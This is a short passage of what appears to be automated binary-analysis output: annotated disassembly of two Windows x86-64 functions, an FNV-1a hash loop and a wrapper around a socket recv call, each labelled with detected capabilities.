ret
Function at 0x140028c70
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
movabs rax, 0xcbf29ce484222325
mov r9d, 0
sub r8, rdx
je 0x140028ca4
movabs r10, 0x100000001b3
nop
movzx ecx, byte [r9 + rdx]
inc r9
xor rax, rcx
imul rax, r10
cmp r9, r8
jb 0x140028c90
ret
Function at 0x140043bf0
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub rsp, 0x28
cmp byte [rcx + 0x550], 0
jne 0x140043c2a
mov rcx, qword [rcx + 0x4c0]
cmp rcx, 0xffffffffffffffff
je 0x140043c2a
mov r9d, 2
lea rdx, [rsp + 0x30]
lea r8d, [r9 - 1]
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
je 0x140043c2a
mov al, 1
add rsp, 0x28
ret
xor al, al
add rsp, 0x28
ret